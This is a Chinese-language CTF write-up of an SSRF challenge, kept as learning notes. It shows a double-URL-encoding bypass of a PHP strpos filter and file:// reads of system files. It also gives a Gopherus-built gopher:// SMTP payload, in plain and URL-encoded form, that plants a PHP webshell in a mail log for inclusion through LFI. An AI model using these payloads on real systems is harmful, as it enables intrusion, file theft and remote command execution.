先说说自己当时做的过程
题目点进去后,看到几行php源码,可以看到几个和curl
相关的函数,上网搜搜能发现,这应该是个SSRF题。1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
通过输入x
,控制curl
会话选项,使其访问内网资源,然后输出访问结果。
x可利用的协议有gopher、dict、http、https、file等
file协议可以用于查看文件
dict协议可以用于刺探端口
gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shell
知道这个之后,就可以对x
进行利用尝试了。上面提到了,主要可以利用file、dict、gopher、http(s)
等协议。
于是我们先用file
文件试试任意文件读取,首先读下/etc/passwd
文件,发现读取成功。
然后就想着读读index.php
文件试试,但是这里代码里有一行strpos($x,'php')
对输入的x
做了限制。之前遇到的代码审计题里面关于strpos
函数的都是把strpos
查找的字符串放在开头,使strpos
函数返回为0,从而绕过strpos() == false
。但是这里明显不是利用这个点,因为curl
并不支持php
协议
于是只好上网搜搜strpos
函数有没有别的bug或绕过方法。但找了找,发现找来找去都只是一些老知识,只怪自己知识储备不够,搜索引擎都用不好(2333~)
于是读*.php
这条路被堵死了,只能用file
协议随便试试其他文件,试了~/.bash_history
等一些别的文件,但是效果都不大,于是就只能作罢了。
然后开始复现
赛后,安恒官方发布了wp和复现环境,看完wp之后,恍然大悟,于是开始复现。
首先是strpos
函数这个点,这里是利用了php的一个bug,具体可以上: https://bugs.php.net/bug.php?id=76671&edit=1
查看详情。
这个bug是说,如果向strpos传入一个双重url编码的字符串,可以达到绕过的目的
比如我们这里可以使x=%2570,就可以绕过strpos($x,”php”)
(%25是%的url编码,%70是p的url编码)
于是我们就可以绕过strpos
函数的限制了, 也就是说x
变量可以随便输入字符串了。
于是我们可以接着用file
协议读取/var/www/html/
文件下的网页源码,先读读index.php
看看起不起作用。
payload:http://101.71.29.5:10012/?x=file:///var/www/html/index.ph%2570
在注释里找到了index.php
的代码,说明我们这样是可以读取成功的,但读index.php
对我们帮助并不大,那我们接下来该读什么呢?
只能继续读/var/www/html/
文件下的其他文件,但是我们并不知道其他文件的文件名。所以在这之前,还需用字典扫扫该站点的其他文件。
我这里用的是御剑加自定义字典扫的,截图如下。
可以看到,还有一个flag.php
,于是继续读取flag.php
文件
于是按照提示继续访问/etc/hosts
文件
然后找到内网IP172.18.0.3
,那得到这个内网IP有啥用呢,其实那天我自己做的时候,找到了这个IP,但不知道咋用。看了wp后,突然就悟出来了。下面说说自己的理解。
很明显这题考的是SSRF,SSRF不就是用来搞内网的么,利用服务器去打外网访问不到的内网其他主机。
这里知道了内网IP的格式,于是就可以利用curl
的http
协议,刺探内网其他主机172.18.0.*
可以看到,就172.18.0.1|2|3
能够访问。分别查看这三个IP的返回结果,发现http://101.71.29.5:10012/?x=http://172.18.0.2
的返回结果如下图,存在LFI漏洞。
这只是80
端口的结果,接下来我们看看其他端口的开放情况,可以看到,25端口也开放了,25对应的就是smtp服务。
于是可以联想到利用gopher
协议打smtp,然后再结合之前发现的LFI漏洞,得出这样的思路
利用gopher打smtp,在日志文件中留下一句话木马,然后用LFI包含日志文件获取webshell
思路清晰了后,就开始执行了,先用gopherus
脚本生成payload,gopherus地址:https://github.com/tarunkant/Gopherus,里面有详细用法。
把生成的payload复制下来,然后改下IP,改成172.18.0.2gopher://172.18.0.2:25/_MAIL%20FROM:%3Cmiracle%40778.com%3E%0ARCPT%20To:%3C%3F%20system%28%24_GET%5B%27miracle%27%5D%29%3B%20%3F%3E%0ADATA%0AFrom:%3Cmiracle%40778.com%3E%0ASubject:test%0AMessage:test%0A.
然后进行url编码
得到最终payload:1
%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%38%2e%30%2e%32%3a%32%35%2f%5f%4d%41%49%4c%25%32%30%46%52%4f%4d%3a%25%33%43%6d%69%72%61%63%6c%65%25%34%30%37%37%38%2e%63%6f%6d%25%33%45%25%30%41%52%43%50%54%25%32%30%54%6f%3a%25%33%43%25%33%46%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%34%5f%47%45%54%25%35%42%25%32%37%6d%69%72%61%63%6c%65%25%32%37%25%35%44%25%32%39%25%33%42%25%32%30%25%33%46%25%33%45%25%30%41%44%41%54%41%25%30%41%46%72%6f%6d%3a%25%33%43%6d%69%72%61%63%6c%65%25%34%30%37%37%38%2e%63%6f%6d%25%33%45%25%30%41%53%75%62%6a%65%63%74%3a%74%65%73%74%25%30%41%4d%65%73%73%61%67%65%3a%74%65%73%74%25%30%41%2e
然后利用这个payload,污染日志文件,可以看到,我们的payload利用gopher协议尝试用smtp发送邮件,当然因为我们的地址填的是一句话木马,所以这里肯定发送失败,不过却会在日志文件中留下记录。
于是我们现在可以去找smtp的日志文件位置了,一般来讲linux中的邮件日志文件路径为
/var/log/maillog
/var/log/mail.log
/var/adm/maillog
/var/adm/syslog/mail.log
我们这里可以利用前面的LFI,利用php://filter
协议,查看上面四个日志文件路径,看看哪个有输出。最后发现,日志文件路径是/var/log/mail.log
把内容解密一下,看到/var/log/mail.log
内容如下图
咦,跟我们gopher
打的不一样。。不过里面依然有个一句话木马,可以先试试。结果发现,输入命令不管用。
后面发现,原来是这个题目环境出了问题。
按道理,接下来要做的是传入cmd
给webshell,利用ls cat
找到flag
,但这里题目环境出错了,所以只能作罢。
不过看wp可以知道,最后flag
文件在根目录下的Th7s_Is_Flag
文件里面,于是我们可以利用LFI
读一下这个文件
然后解密下,也算得到flag了吧flag{dcbd1fa555331261ed1bfd21c3dd889f}
思考
由于是第一次做SSRF这类题,这次复现也学到挺多东西的。
strpos函数bug,我做的时候用google搜过,关键词是
php strpos CTF
,结果搜到的全是一些没什么用的,相同的东西,那么如何有效利用搜索引擎呢?这里给出了php官方bug的一个网址,https://bugs.php.net
我们可以利用google搜索语法进行搜索
比如这里我们可以用: site: https://bugs.php.net strpos
可以快速找到相关漏洞为什么一开始要利用file协议读取flag.php,不能直接读/etc/hosts吗?
这里我也想过,得出结论是
一开始我们只知道这是个跟curl函数相关的题,而curl可以利用file、http、gopher等许多协议,我们并不知道flag位置是在该服务器上,还是内网其他服务器上。
所以我们只能一个个试,先假设该题目flag在本地服务器这个,自然想到要读/var/www/html目录下的文件,这里也要说明下,官方wp里面是直接给出flag.php这个文件来了,其实按道理应该是要自己扫一下,然后再读。
找到了flag.php文件,然后该文件提示flag在/etc/hosts文件里,然后再继续读/etc/hosts文件,文件里没有明显的flag,只有内网IP。
也就是说,flag在内网其他服务器上,然后再进行下一步操作。找到内网IP后,该怎么做?
既然是ssrf,那自然是要通过服务器打外网不能访问的内网服务器,所以我们要探测内网其他服务器,以及其开放的端口。